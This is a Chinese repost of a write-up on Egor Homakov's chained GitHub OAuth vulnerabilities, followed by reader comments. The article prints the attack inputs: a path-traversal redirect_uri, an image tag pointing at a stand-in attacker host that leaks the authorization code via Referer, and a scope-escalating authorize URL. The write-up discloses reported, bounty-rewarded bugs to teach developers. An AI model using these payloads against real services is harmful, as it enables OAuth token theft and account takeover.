阅读更多

8顶
5踩

互联网

转载新闻 从“黑掉Github”学Web安全开发

2014-02-10 11:07 by 副主编 WnouM 评论(8) 有49634人浏览
本文转载自酷壳(CoolShell.cn),原文内容如下。

Egor Homakov(Twitter:@homakov  个人网站:EgorHomakov.com)是一个Web安全的布道士,他这两天把Github给黑了,并给Github报了5个安全方面的bug,他在他的这篇blog——《How I hacked Github again》(墙)说明了这5个安全bug以及他把Github黑掉的思路。Egor的这篇文章讲得比较简单,很多地方一笔带过,所以,我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕。关于Web开发中的安全事项,大家可以看看这篇文章《Web开发中的你需要了解的东西

OAuth简介

首先,这个故事要从Github OAuth讲起。所以,我们需要先知道什么是OAuth

所谓OAuth就是说,第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google、Facebook、Twitter等网站都提供了OAuth服务,提供OAuth服务的网站一般都有很多开放的API,第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能,但是,当用户在使用这些第三方应用的时候,这些第三方的应用会来访问用户的帐户内的功能和数据,所以,当第三应用要干这些事的时候,我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码,不然第三方的应用就把用户的密码给获取了,所以,OAuth协议会跳转到一个页面,让用户授权给这个第三方应用以某些权限,然后,这个权限授权的记录保存在Google/Facebook/Twitter上,并向第三方应用返回一个授权token,于是第三方的应用通过这个token来操作某用户帐号的功能和数据时,就畅通无阻了。

下图简单地说明了Twitter的OAuth的授权过程。



从上面的流程图中,我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议,所以,在Server端要把OAuth实现对并不是一些容易事,其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。

OAuth的Callback

还需要注意的是,因为OAuth是需要跳到主站的网页上去让用户授权,当用户授权完后,需要跳转回原网页,所以,一般来说,OAuth授权页都会带一个 redirect_url的参数,用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说,redirect_uri这个参数需要在服务器端进行验证。

你想一下,如果有人可以控制这个redirect_uri这个参数,那么,你就可以让其跳转到别的网页上(可能会是个有恶意的网页)。如果你觉得跳转到别的网页上也无所谓,那么你就错了。别忘了,当你对这个第三方的应用授权通过后,服务方会给第三方应用返回一个授权token,这个token会被加到那个redirect_uri参数后面然后跳转回去,如果这个redirect_uri被别有用心的人改一个恶意的网址后,这个token也就被转过去了,于是授权token也就被泄漏过去了。

知道了这一切,我们就可以理解Egor提的那5个bug是什么意思了。

第一个Bug — 没有检查重定向URL中的/../

首先,我们通过Github的 redirect_uri 的说明文档我们可以看到这样的说明:

引用
如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org


而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/,也就是说,域名是gist.github.com,目录是/auth/github/callback/,服务器端做了这个限制,看似很安全了。

但是,Egor发现,Github的服务器端并没有验证.. /../../这样的情况。于是,Egor相当于构造了一个下面这样的Redirect URL:

引用
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE


于是上面的URL就相当于:

引用
https://gist.github.com/homakov/8820324?code=CODE


你可以看到,认证后的跳转网页转到了别的地方去(并非是Github限制的地方)——我们知道Github的gist虽然是给你分享代码片段的,但是也可以用来定制自己的东西的(比如markdown),这个gist的网页当然是被Egor所控制的。

第二个BUG — 没有校验token

第一个bug其实并没有什么,如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样,只要服务器做了这个验证,第一个bug完全没有什么用处,但是,Github的服务端并没有验证。这就是第二个bug,于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。

第三个BUG — 注入跨站图片

现在,redirect_uri带着code,安全顺利地跳到了Egor构造的网页上:

引用
https://gist.github.com/homakov/8820324?code=CODE


但是,这个是gist的网页,你无法在这个页面上运行前端(Javascript)或后端程序(Ruby——Github是Ruby做的),现在的问题是我们怎么得到那个code,因为那个code虽然后带到了我的网页上来,但那个网页还是Github和用户自己的环境。

到这里,一般来说,黑客会在这个页面上放一个诸如下面的一个链接,来引诱用户点击:

<a href=http://hack.you.com/>私人照片</a>

这样,当页面跳转到黑客的网站上来后,你之前的网页上的网址会被加在http头里的 Refere 参数里,这样,我就可以得到你的token了。

但是,在gist上放个链接还要用户去点一下,这个太影响“用户体验”了,最好能嵌入点外部的东西。gist上可以嵌入外站的图片,但是Github的开发人员并非等闲之辈,对于外站的图片,其统统会把这些图片的url代理成Github自己的url,所以,你很难搞定。

不过,我们可以用一个很诡异的技巧:

<img src=”///attackersite.com”>


这个是什么玩意?这个是个URL的相对路径。但是为什么会有三个///呢?呵呵。

像程序员一样的思考

这个时候,我们需要以“程序员的编程思维”来思考问题——如果你是程序员,你会怎么写校验URL的程序?你一定会想到使用正则表达式,或是用程序来匹配URL中的一些pattern。于是:

  • 对于绝对路径:你会匹配两个//,后面的可能会是 user@host.com(user@是可选的),然后可能会有:<n>端口号,然后是/,后面是服务器的路径,再往后面应该是?后面带一些参数了。
  • 对于相对路径:就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。
  • 好了,如果coolshell.cn网页中的<img src=>或<a href=>中用到的相对路径是 /host.com,那么浏览器会解释成:http://coolshell.cn/host.com,如果是///host.com,那么就应该被浏览器解释成 http://coolshell.cn///host.com。
但是,Chrome和Firefox,会把///host.com当成绝对路径,因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ,你可以看看下面的连接(源码如下):

<a href="///www.google.com">CoolShell Test</a>


关键是,这个Chrome/Firefox的问题被标记成了Won’t Fix,我勒个去,基本上来说,后台的程序也有可能有这样的问题,对于Perl,Python,Ruby,Node.js,PHP带的URL检查的函数库都有这样的问题。

于是,我们就可以使用这样的方式给gist注入了一个第三方站点的图片(Github的服务端没有察觉到(因为我们前面说过大多数语言的URL检查库都会被 Bypass了),但是浏览器端把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 中包含用户当前页面的URL,也包含了用户授权的code。

到这里,黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足,他想要的更多。

第四个bug – Gist把github_token放在了cookie里

于是Egor在用户的cookie里找到了 github_token



但是这个token没什么用,因为授权的Scope只有gists。但是,这个token不应该放在用户端的cookie里,本身就是一个安全事故,这个东西只能放在服务端(关于Web开发中的安全事项,可以看看这篇文章《Web开发中的你需要了解的东西》)。

于是,Egor只能另谋出路。

第五个Bug – 自动给gist授权

因为gist是Github自家的,Egor所以估计Github想做得简单一点,当用户访问gist的时候,不会出弹出一个OAuth的页面来让用户授权,不然,用户就会很诧异,都是你们自家的东西,还要授权?所以,Egor猜测Github应该是对gist做了自动授权,于是,Egor搞了这样的一个URL(注意其中的 redirect_uri中的scope )

引用
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications


于是,这个redirect-uri不但帮黑客拿到了访问gist的token,而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。

其它 & 感想

于是,作者从 Github Security Bug Bounty 拿到了USD $4,000的奖励!Egor一共花了从下午2点到6点一共4个小时找到了这些Bug,平均一小时1000美刀。Egor还很得瑟的说,如果Github请他做安全顾问,他只收一小时USD $400刀,这4个小时也就$1,600。呵呵。

大家看看,这是多么有效率的赚钱方式。看看,让我们扪心自问一下,我们花了多少时间在玩那些“红包游戏”,而又搞到了多少红包?人家4个小时找了5个bug,挣了$4000美金。老天给了你我一样的时间,我们用来抽几块钱的红包,人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你可以移步看看我写的《加班与效率
  • 大小: 198.8 KB
  • 大小: 11.6 KB
来自: 酷壳
8
5
评论 共 8 条 请登录后发表评论
8 楼 liyong1120 2014-03-24 14:32
7 楼 suiyetie 2014-03-11 13:04
技术水平不是一个等次,思维,教育环境等等,就好比员工和人家的董事长对比时间与金钱一样,是不可能相等的。
6 楼 ljl961890233bear 2014-03-10 12:42
iteye的木有找到 但是csdn的找了一大堆
5 楼 zjhlht 2014-03-07 14:42
学到的不仅是技术!还有思维方式
4 楼 hahasimie 2014-02-24 08:48
longweixuanxuan 写道
的确,差距很大,4个小时的收入已经超过我一个月的收入了

你也可以试试iteye的网站沙.
3 楼 longweixuanxuan 2014-02-11 10:09
的确,差距很大,4个小时的收入已经超过我一个月的收入了
2 楼 alexkaleo 2014-02-10 15:53
 
1 楼 fncj 2014-02-10 14:37
   

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • 为什么软件正在吞噬这个世界?​by 网景创始人 Marc Andreessen 马克·安德森​

    我们将一流的研究型大学、有风险的商业文化...许多领先的金融服务创新者都是软件公司,例如 Square,它允许任何人使用手机接受信用卡支付,以及 PayPal,它在今年第二季度创造了超过 10 亿美元的收入,比上年增长31%。

  • 未来 3 年,什么样的技术人,最有机会年赚 100万?

    如果按照他之前的职业发展来说,有名校出身和工作经验加持,2年内月薪15K 完全没问题,但是前段时间,我们在一个活动上遇见,他现在已经在一家国内非常知名的互联网公司工作,年薪30万。 聊过之后才知道,他除了在...

  • 在互联网大厂的程序员多久能挣够100万?

    要攒够100万需要多久? 对于近10亿月收入在2000元以下的人口而言,不吃不喝至少需要42年。但是对于那些在腾讯工作的“新生代民工”而言,这只需要1年多的时间。因为,根据腾讯第三季度财报显示,其人均月薪为8.06万...

  • 如何用0成本赢取100万?

    如何用0成本赢取100万? 纳斯币克(NASBIQ)糖果复利计划给你答案! 引言:区块链再掀创新革命,新的造富神话或将再次开启。 纳斯币克(NASBIQ)是一家于新加坡上市的数字货币交易所,创始团队一批区块链技术的忠实...

  • 如何看待“英特尔是一家软件公司”?

    1968年7月,传奇半导体公司仙童的两位共同创办人罗伯特·诺伊斯、高登·摩尔从仙童请辞,共同创办...九十年代时,伴随着快速崛起的PC产业,英特尔在微处理器上的大量投资,为其带来了丰厚的回报,英特尔一举成为全球...

  • 机器视觉软件工程师的生活是怎样的?

       大家好,本人是刚刚入职的视觉工程师,现在已经一年了,也给大家分享一下在这一段时间里,我做了什么,以及学到了什么。对了,虽然我只做了两个月的视觉工程师,但是我已经连续写了12年的日记了,我想把这个好...

  • 分享六个程序员赚100万的方法

    在问及他为什么那么早就做页游的时候,他说因为自己懒,不想安装软件。 就是这样的一个懒人,于2000年又做出了一个基于浏览器插件的休闲游戏平台,达到了端游的效果,这个平台坐拥5000多万用户。 还是这样一个...

  • 软件测试有多重要?史上十大软件缺陷灾难级事故

    众所周知,软件开发在一个软件项目中起主导作用,但如果软件没有测试或者测试不全面则会导致一系列的后果,有些错误甚至会造成重大的人员伤亡及财产损失,由于软件是由人来完成的,所以它不可能十全十美,虽然不可能...

  • 中国工业管理软件如何突围?

    2.2 AMR是什么组织? 6 2.3 MESA组织成立目的 6 2.4 ISA的历史 7 2.5 ISA对MOM的定义 8 3 市场分析 9 3.1 全球工业管理软件现状 9 3.1.1 部分软件全球销售额 9 3.1.2 MES全球销售额及与其它产品销售额比较 9 3.2 ...

  • 月入十万,难吗?

    看了看最近的月入十万和三年100万以及类似的问题多了一个叫“蓝海”的人,通过紧紧抓住人急于发财的心里,买了僵尸粉建了收费群,而且在收费方面居然高达600和998。更加令人惊奇的是知乎这个平台加群交钱的人居然...

  • 随手记投资安全吗?看完你就知道了

    之前做过一个调查很多人都想了解关于随手记和随手投资的介绍今天就来分享啦!...诞生于深圳金蝶软件园,获千万级天使轮投资;获登苹果应用商城财务榜第一名;荣登各大android应用商场财务榜第一名。 2011年-蓄势 获...

  • 互联网新时代要来了(二)什么是AIGC?

    1.什么是AIGC?2.AIGC发展趋势3.AIGC技术4.AIGC有哪些应用价值?5.AIGC给我们带来的改变6.AIGC面临的挑战AIGC 即 AI Generated Content,利用人工智能技术来生成内容,它被认为是继PGC、UGC之后的新型内容创作方式。...

  • 看国内十大EDA软件公司排行榜,总人数不到全球EDA研发总数的1/100,怎样突破困境?

    芯片是中国科技行业目前最被卡脖子的一个环节,而EDA是芯片设计的必备工具,...EDA一直牵动着国内芯片行业的心,2020年第23届中国集成电路制造年会上,公布了国内十大EDA软件公司及人员规模排行榜,如下: 数据来源

  • FPGA是什么?为什么要使用它?

    最近几年,FPGA这个概念越来越多地出现。...但是,大部分人还不是太了解它,对它有很多疑问——FPGA到底是什么?为什么要使用它?相比 CPU、GPU、ASIC(专用芯片),FPGA有什么特点?…… 今天,带着这一系列的...

  • 阿里P8数据架构师:顶级开发者都在用什么数据库?

    众所周知,使用不同的SQL优化与执行方式,数据库的访问性能可能会存在上千上万倍的差距。计算存储分离的核心思想便是在数据存储层面进行一体化存储,而计算层面则有效利用每种执行引擎的特点,针对不同的业务场景...

  • 软件工程经济学复习题答案

    4、领取什么保险应缴纳个人所得税 某企业一项固定资产的原价为8000 000元,预计使用年限为6年,预计净残值为5 000元,采用年数总和法,计算的第一年折旧额。 5、某企业出售一台设备,原价200 000元,已提折旧50 000...

  • 价值100万的缠论量化交易策略

    2.2、财务指标2:净利润、税后利润分别大于1000万元。 2.3、财务指标3:每股收益(近)、(年)分别大于0.1元。 2.4、其它,……。 3、个股:技术面出现买点。 3.1、筛选条件1:在1分钟周期图,K线走势平滑。 3.2、...

  • ARM到底是一家什么样的公司?

    一次性技术授权费用在100万-1000万美元之间,版税提成比例一般在1%-2%之间。 正是ARM的这种授权模式,极大地降低了自身的研发成本和研发风险。它以风险共担、利益共享的模式,形成了一个以ARM为核心的生态圈,使得低...

  • 软件工程经济学知识点总结

    软件工程经济学知识点总结

Global site tag (gtag.js) - Google Analytics